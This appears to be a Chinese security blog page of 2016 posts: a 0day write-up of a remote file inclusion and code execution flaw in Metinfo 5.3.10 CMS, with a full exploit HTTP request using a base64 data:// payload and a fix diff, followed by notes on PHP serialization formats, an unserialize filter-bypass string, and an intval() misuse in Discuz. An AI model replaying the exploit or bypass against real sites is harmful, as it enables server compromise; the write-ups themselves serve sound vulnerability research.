2016年9月

Metinfo5.3.10 CMS最新版命令执行|文件包含 0Day

文件:admin/login/login_check.php:26行

if($action=="login"){
   $metinfo_admin_name     = $login_name;
   $metinfo_admin_pass     = $login_pass;
   $metinfo_admin_pass=md5($metinfo_admin_pass);
   /*code*/
   if($met_login_code==1){
      require_once $depth.'../include/captcha.class.php';
      $Captcha= new  Captcha();
      if(!$Captcha->CheckCode($code)){
         echo("<script type='text/javascript'>alert('$lang_logincodeerror');location.href='login.php?langset=$langset';</script>");
         exit;
      }
   }

当后台开启登陆校验码的时候$met_login_code会设置成为1

26行就会包含校验码登陆文件。

只要能够控制变量$depth就可以远程文件包含了

$depth变量是在文件'admin/login/login_check.php'开头定义的

error_reporting(E_ERROR | E_WARNING | E_PARSE);
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',1);

通过第一次拼接$depth包含了include/common.inc.php

这一步是没有问题的,但是程序猿没有想到,包含了文件common.inc.php之后

可以通过以下代码进行变量覆盖。

文件:include/common.inc.php:35

foreach(array('_GET','_POST','_REQUEST') as $_request) {
   foreach($$_request as $_key => $_value) {
      $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
      $_M['form'][$_key] = daddslashes($_value,0,0,1);
   }
}

经过上面这段代码我们就可以覆盖掉变量$depth了

如何用require_once来执行代码呢?

可以使用php的封装协议data://配合require_once来进行恶意代码执行。

但是有个问题就是如何去掉

../include/captcha.class.php

这一串拼接在字符后面的字符串的干扰,这一段会干扰我们想要执行的代码。

我用base64解码正常文字会让后面这一串字符变成乱码,并且加上了单行注释符号注释掉乱码。

封装器解码之后代码的样子

<?php phpinfo();exit();// ..þ)ܖç^ýÆ©µÈZ.rV¬s.php

exp:

POST /admin/login/login_check.php?langset=cn&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== HTTP/1.1
Host: metinfo5.3
Content-Length: 74
Cache-Control: max-age=0
Origin: http://metinfo5.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://metinfo5.3/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: recordurl=%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1; re_url=http%3A%2F%2Fmetinfo5.3%2Fadmin%2F; met_capcha=82c0pAlNmSBbbmmob3xr5%2B8WbveYAdzQ63MRLUWwb15d
Connection: close

action=login&login_name=123&login_pass=123&code=&Submit=%E7%99%BB%E5%BD%95

效果:执行了phpinfo();

1EFDB64E-B5E6-4D1B-8488-4CA116C7F326.png

提示:因为采用了data://,所以需要php.ini allow_url_include =on

修复方案

diff:

8a9
> $depth_bak = $depth;
10a12
> $depth = $depth_bak;

包含include/common.inc.php再次给$depth赋值,防止变量被污染

PHP序列化以及反序列化系列[1]--PHP序列化格式

什么是序列化以及反序列化?

序列化是将PHP中的值(zval)转换成一段包含字节流的字符串。 序列化一个对象会保存对象的所有变量的值,但是不会保存对象的方法,只会保存类的名字。

反序列化:对单一的已序列化的变量进行操作,将其转换回 PHP 的值(zval)。

PHP序列化方式

PHP在序列化的时候会将相应的变量以对应的键值进行储存。

将一个类序列化的话,处理代码主要的文件:ext/standard/var.c中,如下。

php_var_serialize_class()函数:

    static void php_var_serialize_class(smart_str *buf, zval *struc, zval *retval_ptr, HashTable *var_hash TSRMLS_DC) /* {{{ */
    {
    ...
      incomplete_class = php_var_serialize_class_name(buf, struc TSRMLS_CC);
    ...

php_var_serialize_class_name()函数:

    static inline zend_bool php_var_serialize_class_name(smart_str *buf, zval     *struc TSRMLS_DC) /* {{{ */
    {
        PHP_CLASS_ATTRIBUTES;

        PHP_SET_CLASS_ATTRIBUTES(struc);
        smart_str_appendl(buf, "O:", 2);
        smart_str_append_long(buf, (int)name_len);
        smart_str_appendl(buf, ":\"", 2);
        smart_str_appendl(buf, class_name, name_len);
        smart_str_appendl(buf, "\":", 2);
        PHP_CLEANUP_CLASS_ATTRIBUTES();
        return incomplete_class;
    }

需要序列化一个类的话,首先PHP会先将类名序列化。格式为

O:类名长度:"类名":值:{}
<?php

class test
{
    public function show_one()
    {
        echo $this->one;
    }
    public function show_two()
    {
        echo "123";
    }
}

例:如果一个类名叫做test的类没有定义任何变量的话,序列化之后结果如下:

O:4:"test":0:{}

我们可以看到,这个类中的方法没有在序列化字符串中出现,也体现了开头的“序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”。

其中还有比较特殊的序列化就是数组中的引用(&)的序列化与实例化后对象中自身的二次赋值。

我们在这用PHP Internal Book中的例子。

例1:

<?php
/**
 * User: LonelyRain
 */

$a = ["foo"];
$a[1] =& $a[0];

$s = serialize($a);

print $s;

以上代码的序列化结果是

a:2:{i:0;s:3:"foo";i:1;R:2;}

这里的R:2;部分意味着"指向第二个值".什么是第二个值?整个数组代表第一个值, (s:3:"foo") 代表第二个值.

<?php
/**
 * User: LonelyRain
 */

$o = new stdClass;
$o->foo = $o;

$s = serialize($o);

print $s;

以上代码的序列化结果是

O:8:"stdClass":1:{s:3:"foo";r:1;}

以下是zval对应的类型和键对照表

序列化键名对照表:

数组中二次赋值(&):            R;
对象二次赋值     :            r;
NULL           :            N;
true           :          b:1;
false          :          b:0;
Long           :            i;
Double         :            d;
String         :            s/S;
Class          :            C;
Array          :            a;
Object         :            O;

变量不同的属性也有着不同的格式

public         :        key;
protected      :        \0*\0key;
private        :        \0key\0;

通过实例来观察:

<?php
/**
 * User: LonelyRain
 */


class Test {
    public $public = 1;
    protected $protected = 2;
    private $private = 3;
}

$a = new Test();

$s = serialize($a);

var_dump($s);

结果:

"O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\0protected";i:2;s:13:"\0Test\0private";i:3;}"

再来看一看反序列化的相关知识。大家应该注意到了String对应着两个键,s与S。

serialize()与unserialize()处理有着一些差异。PHP源码serialize()中是没有相关序列化是以S为标识的,但是在unserialize中又有对S键的相关处理,下面我把相关部分代码贴出来供读者参考。

case 'S':    goto yy10;
...
yy10:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy39;
    goto yy3;
...
yy39:
    yych = *++YYCURSOR;
    if (yych == '+') goto yy40;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy41;
    goto yy18;
case 's':    goto yy9;
...
yy9:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy46;
    goto yy3;
...
yy46:
    yych = *++YYCURSOR;
    if (yych == '+') goto yy47;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy48;
    goto yy18;
...
...

如果大家继续看接下去的代码下去,会发现s和S的就会发现两个键的处理方式是一模一样的。

如果大家看了phpcodz 10,里面写道a:1:{s:8:"ryatsyne"tO:8:"ryatsyne":0:{}}这样可以突破

static public function safeUnserialize( $serialized )
{
    // unserialize will return false for object declared with small cap o
    // as well as if there is any ws between O and :
    if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
    {
        if ( strpos( $serialized, 'O:' ) === false )
        {
            // the easy case, nothing to worry about
            // let unserialize do the job
            return @unserialize( $serialized );
        }
        else if ( ! preg_match('/(^|;|{|})O:[+\-0-9]+:"/', $serialized ) )
        {
            // in case we did have a string with O: in it,
            // but it was not a true serialized object
            return @unserialize( $serialized );
        }
    }

    return false;
}

这个payload在php5.6.23中失效,看以下代码

yy48:
    ++YYCURSOR;
    if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
    yych = *YYCURSOR;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy48;
    if (yych >= ';') goto yy18;
    yych = *++YYCURSOR;
    if (yych != '"') goto yy18;
    ++YYCURSOR;
    {
    size_t len, maxlen;
    char *str;

    len = parse_uiv(start + 2);
    maxlen = max - YYCURSOR;
    if (maxlen < len) {
        *p = start + 2;
        return 0;
    }

    str = (char*)YYCURSOR;

    YYCURSOR += len;

    if (*(YYCURSOR) != '"') {
        *p = YYCURSOR;
        return 0;
    }

    if (*(YYCURSOR + 1) != ';') {
        *p = YYCURSOR + 1;
        return 0;
    }

    YYCURSOR += 2;
    *p = YYCURSOR;

    INIT_PZVAL(*rval);
    ZVAL_STRINGL(*rval, str, len, 1);
    return 1;
}

代码中已经多加了分号符号校验,这个tricky在这个php版本中是无效的。


    if (*(YYCURSOR + 1) != ';') {
        *p = YYCURSOR + 1;
        return 0;
    }

WDDX序列化方式

序列化本质就是将程序的值以相应的格式保存下来,所以我们不止单单可以用上面的serialize函数进行序列化。PHP还提供了另外一种序列化格式为Web分布式数据交换(WDDX)。WDDX是XML的子集,所以符合WDDX的序列化过后的字符串格式是符合xml的规范的。

演示代码:

<?php
/**
 * User: LonelyRain
 */

$a = ["foo"];
$a[1] =& $a[0];

echo wddx_serialize_value($a);
?>

结果:

<wddxPacket version='1.0'><header/><data><array length='2'><string>foo</string><string>foo</string></array></data></wddxPacket>

可以看到才用wddx_serialize_value()函数处理的$a和之前使用serialize()函数处理的值都被保存下来了,只不过遵守的格式有着相应的区别。

WDDX序列化反序列化相关函数:

wddx_serialize_value:    将单一值连续化。
wddx_serialize_vars :    将多值连续化。
wddx_packet_start   :    开始新的 WDDX 封包。
wddx_packet_end     :    结束的 WDDX 封包。
wddx_add_vars       :    将 WDDX 封包连续化。
wddx_deserialize    :    将 WDDX 封包解连续化。

这一篇主要讲了序列化后数据的格式,下一次会写PHP序列化中一块重要的内容,PHP的魔术方法等内容。

Reference:

PHP内核
PHP string序列化与反序列化语法解析不一致带来的安全隐患
PHP中文手册

PHP Intval()函数特性导致的错误判断

在看80vul的phpcodez系列文章看到的phpintval函数的分析。

php intval函数在处理变量的时候,从前往后指针遇到数字或正负符号才判别到开始做转换,再遇到非数字或字符串结束时(\0)结束转换

下面是函数原型

PHP_FUNCTION(intval)
{
        zval **num, **arg_base;
        int base;
      switch (ZEND_NUM_ARGS()) {
                case 1:
                        if (zend_get_parameters_ex(1, &num) == FAILURE) {
                                WRONG_PARAM_COUNT;
                        }
                        base = 10;
                        break;
                case 2:
                        if (zend_get_parameters_ex(2, &num, &arg_base) == FAILURE) {
                                WRONG_PARAM_COUNT;
                        }
                        convert_to_long_ex(arg_base);
                        base = Z_LVAL_PP(arg_base);
                        break;
                default:
                        WRONG_PARAM_COUNT;
        }
        RETVAL_ZVAL(*num, 1, 0);
        convert_to_long_base(return_value, base);
}

下面是Discuz X3.2(9/2/2016为止)最新版本里一处典型的错误写法。

文件:source/class/table/table_forum_forum.php

public function fetch_all_info_by_ignore_fid($fid) {
if(!intval($fid)) {
    return array();
}
        return DB::fetch_all("SELECT fid, type, name, fup FROM ".DB::table($this->_table)." WHERE ".DB::field('fid', $fid, '<>')." AND type<>'sub' AND status<>'3' ORDER BY displayorder");
    }